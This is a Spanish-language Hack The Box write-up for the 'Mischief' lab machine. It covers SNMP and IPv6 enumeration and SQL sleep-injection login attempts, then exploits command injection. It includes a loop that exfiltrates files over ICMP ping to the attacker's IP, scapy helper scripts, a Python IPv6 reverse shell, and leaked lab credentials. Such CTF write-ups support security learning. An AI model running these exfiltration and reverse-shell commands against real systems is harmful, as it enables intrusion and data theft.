Mischief - Hack The Box
Reconocimiento
Empezamos con un simple nmap.
Starting Nmap 7.70 ( https://nmap.org ) at 2022-09-29 01:10 -03
Nmap scan report for 10.10.10.92
Host is up (0.099s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.94 seconds
En el puerto 3366 nos encontramos un panel login, que por ahora la contraseña desconocemos cuál es. Entonces procedemos a hacer una enumeración por puertos udp.Y notamos que el puerto 161 esta abierto.
nmap -sU --top-port 50 --open 10.10.10.92 -v -T5 | grep -v "filtered"
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-29 01:10 -03
Initiating Ping Scan at 01:10
Scanning 10.10.10.92 [4 ports]
Completed Ping Scan at 01:10, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:10
Completed Parallel DNS resolution of 1 host. at 01:10, 0.02s elapsed
Initiating UDP Scan at 01:10
Scanning 10.10.10.92 [50 ports]
Discovered open port 161/udp on 10.10.10.92
Completed UDP Scan at 01:10, 2.47s elapsed (50 total ports)
Nmap scan report for 10.10.10.92
Host is up (0.24s latency).
PORT STATE SERVICE
161/udp open snmp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
Raw packets sent: 126 (8.082KB) | Rcvd: 5 (610B)
Gracias a snmp logramos extraer la ipv6 de la máquina, que nos sirve para ver otros puertos diferentes.
snmpbulkwalk -c public -v2c 10.10.10.92 1 IP-MIB::ipAddressTable
La arreglamos y quedaría así.
dead:beef:0000:0000:0250:56ff:feb9:fcc0
Ahora enumeramos puertos por ipv6
nmap -6 -sCV -p22,80 dead:beef:0000:0000:0250:56ff:feb9:fcc0 -oN targetedIpv6
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-29 01:20 -03
Nmap scan report for dead:beef::250:56ff:feb9:fcc0
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 00:50:56:b9:fc:c0
|_ manuf: VMware
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
En el puerto 80 podemos ver otro panel login.
admin: admin
admin : password
administrator : administrator
administrator : password
admin : mischief
administrator : mischief
admin' and sleep(5)-- - : pass
admin' or sleep(5)-- - : pass
administrator ' and sleep(5)-- - : pass
administrator' or sleep(5)-- - : pass
Probamos credenciales tipicas. Y no logramos nada.Por lo que regresamos a snmmp.Extraemos informacion mas profunda de los procesos corriendo con el siguiente comando.
snmptable -v2c -Ci -c public 10.10.10.92 HOST-RESOURCES-MIB::hrSWRunTable
Dichas credenciales nos sirve para iniciar session en http://10.10.10.92:3306
Las credenciales que se nos representan las probamos en el panel login de ipv6 y logramos acceder.
administrator:trickeryanddeceit
Una vez dentro nos dicen que en el directorio loki hay un credentials.txt, como no podemos leer archivos no las ingeniamos de la siguiente manera.Para poder leer archivos de la maquina vamos a usar ping,
con el parametro -p
podemos mandar una cadena en hex entonces lo que hacemos es lo siguiente.
representa el archivo en hex en 4 por 4
xxd -p -c 4 /etc/hosts
Luego mediante un chico script en bash, lo enviamos de apoco a poco.
xxd -p -c 4 /etc/hosts|while read line;do ping -c 1 -p $line 10.10.14.14;done
Nos creamos un script en python para extraer e pasear la información y hacerla más legible.
from scapy.all import *
def data_sniff(packet):
if packet.haslayer(ICMP):
if packet[ICMP].type == 8:
data =packet[ICMP].load[-4:]
decode = str(data,'utf-8')
print(decode,end='', flush=True)
if __name__ == '__main__':
sniff(iface="tun0", prn=data_sniff)
Nos creamos otro script en python para ejecutar comandos y hacerlo todo mas comodo.
from scapy.all import *
import requests
if __name__ == '__main__':
#sniff(iface="tun0", prn=data_sniff)
while True:
read_file = input('cmd_>')
data_post = {'command':read_file}
main_url = 'http://mischief.htb/'
cookies = {'PHPSESSID': 'nt89hn5mar8eht8jgm802iqsfd'}
requests.post(main_url,data=data_post,cookies=cookies)
Ahora extraemos las credenciales.
La escalada de privilegios me tomo bastante tiempo, pero la verdad no era nada complicado.En el bash_history de loki vemos una contraseña.Vemos si con dicha contraseña nos deja acceder a root, pero misteriosa mente nuestro usuario no tiene los privilegios para ejecutarlo.
Mediante la inyección de comandos que tenemos procedemos a crearnos una reverse shell por ipv6
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::100c",443,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Una vez como www-data probamos dicha contraseña para el usuario root.
www-data@Mischief:/var/www/html$ su root
Password: lokipasswordmischieftrickery
root@Mischief:/var/www/html# cat /root/root.txt
The flag is not here, get a shell to find it!
root@Mischief:/var/www/html# find / -name root.txt 2>/dev/null |xargs cat
ae155fad479c56f912c65d7be4487807
The flag is not here, get a shell to find it!
root@Mischief:/var/www/html#